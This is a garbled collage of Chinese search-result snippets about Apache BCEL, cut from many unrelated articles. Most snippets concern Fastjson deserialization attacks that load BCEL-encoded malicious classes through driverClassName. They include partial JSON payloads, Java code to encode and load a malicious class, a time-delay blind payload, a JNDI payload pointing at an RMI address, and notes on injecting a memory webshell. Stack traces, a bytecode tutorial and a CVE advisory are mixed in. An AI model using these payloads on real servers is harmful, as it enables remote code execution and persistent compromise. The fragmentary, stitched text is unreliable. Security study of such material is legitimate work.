0x01 BCEL从哪里来 首先,BCEL究竟是什么?它为什么会出现在JDK中? BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。 0x03 BCEL在Fastjson漏洞中的利用 前文介绍了BCEL的来历和用法,那么在实际攻防对抗中,我们是如何认识BCEL的呢? 这就得追溯到Fastjson的反序列化漏洞了。 其实就是把BCEL的依赖升级到6.0了。难道是BCEL 6.0之后这个ClassLoader被删除了吗? 在2015年的时候,曾有过这么一个issue:https://issues.apache.org/jira/browse/BCEL-222,提出修改bcel命名空间为bcel6。 版本的BCEL(但无法解释为何命名空间不是bcel6) 所以,很遗憾,在Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了,不知道何时会归来。
ClassLoader 动态加载恶意代码,但是需要开启 Feature.SupportNonPublicField ,并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL, " }, "driverClassName": "$$BCEL$$$l$8b......" } 这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多 分析: 正常使用BCEL: import com.sun.org.apache.bcel.internal.classfile.Utility; import org.springframework.util.FileCopyUtils 里面有一个classLoader类,ClassLoader类里面有一个 loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入 的。 的代码: ClassLoader classLoader = new ClassLoader(); classLoader.loadClass("$$BCEL$$"+code).newInstance(
0x01 BCEL字节码 这用到的是BCEL字节码然后使用classload进行加载。但是思考到一个问题,为什么是使用BCEL也不是直接使用TemplatesImpl链去做本地的命令执行呢? 而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。 com.sun.org.apache.bcel.internal.classfile.Utility包中有BCEL字节码的解密和解密方法。 } 使用该poc加载bcel字节码。 ; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility
BCEL BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,CC链也就是从Apache Commons产生的。 关于BCEL具体详情可参考https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html。 如何利用BCEL进行命令执行 BCEL中有一个类com.sun.org.apache.bcel.internal.util.ClassLoader,是一个ClassLoader,重写了loadClass package com.darkerbox.bcel; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass 那么我们就可以设置driverClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置driverClassName为恶意的BCEL
(Constant.java:97) at org.apache.tomcat.util.bcel.classfile.ConstantPool. (Constant.java:97) at org.apache.tomcat.util.bcel.classfile.ConstantPool. (Constant.java:97) at org.apache.tomcat.util.bcel.classfile.ConstantPool. (Constant.java:97) at org.apache.tomcat.util.bcel.classfile.ConstantPool. (Constant.java:97) at org.apache.tomcat.util.bcel.classfile.ConstantPool.
/] for annotations org.apache.tomcat.util.bcel.classfile.ClassFormatException: Invalid byte tag in constant pool: 19 at org.apache.tomcat.util.bcel.classfile.Constant.readConstant(Constant.java:133) at org.apache.tomcat.util.bcel.classfile.ConstantPool <init>(ConstantPool.java:60) at org.apache.tomcat.util.bcel.classfile.ClassParser.readConstantPool(ClassParser.java :209) at org.apache.tomcat.util.bcel.classfile.ClassParser.parse(ClassParser.java:119) at org.apache.catalina.startup.ContextConfig.processAnnotationsStream
; import org.apache.bcel.classfile.ClassParser; import org.apache.bcel.classfile.JavaClass; import org.apache.bcel.classfile.Method ; import org.apache.bcel.generic.ClassGen; import org.apache.bcel.generic.ConstantPoolGen; import org.apache.bcel.generic.InstructionConstants ; import org.apache.bcel.generic.InstructionFactory; import org.apache.bcel.generic.InstructionList; import org.apache.bcel.generic.MethodGen; import org.apache.bcel.generic.ObjectType; import org.apache.bcel.generic.PUSH 小结 通过apache bcel修改字节码, 配合Instrumentation实现了无侵入的时间统计,apache bcel是直接修改字节码, 性能很高, 但开发成本太高, 需要根据个人情况选择使用.
; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility 的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。 文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。 生成的BCEL格式大概如下: $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$...... ,设置ClassName为BCEL...这种格式后,在newInstance方法执行后被实例化。
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass ; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader ; import java.io.IOException; public class BCEL { public static void main(String[] args) throws $$“+code); // 加载类并实例化 new ClassLoader().loadClass(“$$BCEL$$“+code).newInstance(); } } 执行BCEL.java FastjsonTest.java 将上述生成BCEL带入payload import com.alibaba.fastjson.JSON; public class
catch (Exception e) { } }} 首先在命令行下运行javac Poc.java得到Poc.class ,然后运行下面的java代码得到Poc.class文件的BCEL import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.BufferedWriter;import java.io.FileWriter new BufferedWriter(new FileWriter("C:\\Users\\Administrator\\Desktop\\res.txt")); bw.write("$$BCEL BasicDataSource" }, "b": { "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader 内存webshell 这里参考雷神众测的文章(文后已附上),通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,发现直接报错: 看起来好像是com.sun.org.apache.bcel.internal.util.ClassLoader
{"@type":"java.net.InetAddress","val":"example.com"} bcel 字节码 原理是如果 classname 中包含 BCEL ,这个 ClassLoader 则会将 $$BCEL$$ 后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取 Class 对象,于是我们通过FastJson反序列化,反序列化生成一个 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块中即可。 延时payload盲打,以下payload是延时10秒,需要注意在Java 8u251以后,bcel类被删除。 "}, "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driver": "$$BCEL$$$l$8b$I$A$A$A$
if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name); ... return cl; } BCEL比较知名的是Fastjson的BasicDataSource利用 查看源码可以发现包含driveClassLoader和driverClassName的get/set " }, "driverClassName":"$$BCEL$$$ 的例子,需要编译得到一长串String bcelCode = "$$BCEL$$ = "$$BCEL$$" + byteCode; // 使用BCELClassLoader加载构造的字节码 Class<?
1)动态生成新的类 (2)动态改变某个类的结构(添加/删除/修改 新的属性/方法) 优势 (1)比反射开销小,性能高 (2)Javassist 性能高于反射,低于ASM 常见的字节码操作类库 BCEL Byte Code Engineering Library(BCEL),这是 Apache Software Foundation 的 Jakarta 项目的一部分。 BCEL 与Javassist 有不同的处理字节码的方法,BCEL 在实际的 JVM 指令层次上进行操作 ( BCEL 拥有丰富的 JVM指令级支持 ),而 Javaassist 所强调的是源代码级别的工作
0x02 简介 目标环境 黑盒Fastjson,BCEL 利用链 payload 长度限制 3000 左右(猜测是代码里对字段长度的限制) 只允许 GET 请求方式 不出网 有多台负载 采用 springboot 项目已经结束一段时间,截图全来自 burp 的历史记录,很难 100% 还原当时的历程,且看即可 0x03 漏洞验证 漏洞点已做模糊处理 1、通过延时验证漏洞存在 payload 长度 1370 延时5秒,BCEL jdk 版本号为 8 3、枚举可行的方案 先贴出结论 使用其他请求方式后端应用接受不到参数,请求方式只能为 GET GET 提交数据长度限制,需要分离 payload fastjson_sink 的 bcel 3000 左右,猜测是代码里对 fastjson_sink 字段长度进行了判断 目标不出网 框架为 springboot payload 分离方案 业务层面 文件上传功能点(黑盒较困难) 代码层面 bcel 验证较耗时,适用springboot环境) 业务层面优先级 > 代码层面,但是由于是黑盒,业务层面只能靠翻 js 出奇迹 1)文件上传功能点- 失败 如果有文件上传功能,则可以直接上传payload,然后用 bcel
今天值守的过程中碰到这么一个数据包,出现这么一串东西,之前没特别关注过,百度一波发现是BCEL加密 https://github.com/Xd-tl/BCELCode java -jar BCELCode.jar
13.6 – 利用BCEL ClassLoader加载字节码 BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为 被Apache Xalan BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为 被Apache Xalan所使用,而Apache Xalan又是Java内部对于 JAXP的实现,所以BCEL也被包含在了JDK的 原生库中。 关于BCEL的详细介绍在p神的文章讲的是真的详细,强推阅读[BCEL ClassLoader去哪了](BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)) 我们可以通过 ; Utility 用于将 原生的字节码转换成BCEL格式的字节码: import com.sun.org.apache.bcel.internal.classfile.JavaClass; import
package handlers; import com.sun.org.apache.bcel.internal.generic.LUSHR; import java.util.LinkedHashMap ; System.out.println(lruCache); } } package handlers; import com.sun.org.apache.bcel.internal.generic.LUSHR
6u211、7u201、8u191 方式一:jndi JdbcRowSetImpl C3p0#JndiRefForwardingDataSource JndiDataSourceFactory 方式二:bcel c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0} bcel " }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" " }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U " }, "driverClassName":"$$BCEL$
Apache Commons BCEL 缓冲区错误漏洞 CVE编号:CVE-2022-42920 Apache Commons BCEL是美国阿帕奇(Apache)基金会的一个字节代码工程库。 2022年11月,安全研究人员发现 Apache Commons BCEL存在缓冲区错误漏洞,该漏洞源于存在越界写入问题。 Apache Commons BCEL有许多API,通常只允许更改特定的类特征,但由于存在越界写入问题,这些API可用于生成任意字节码。
ASM 提供了与 BCEL和SERP相似的功能,只有22K的大小,比起350K的BCEL和150K的SERP来说,是相当小巧的,并且它有更高的执行效率, 是BCEL 的7倍,SERP的11倍以上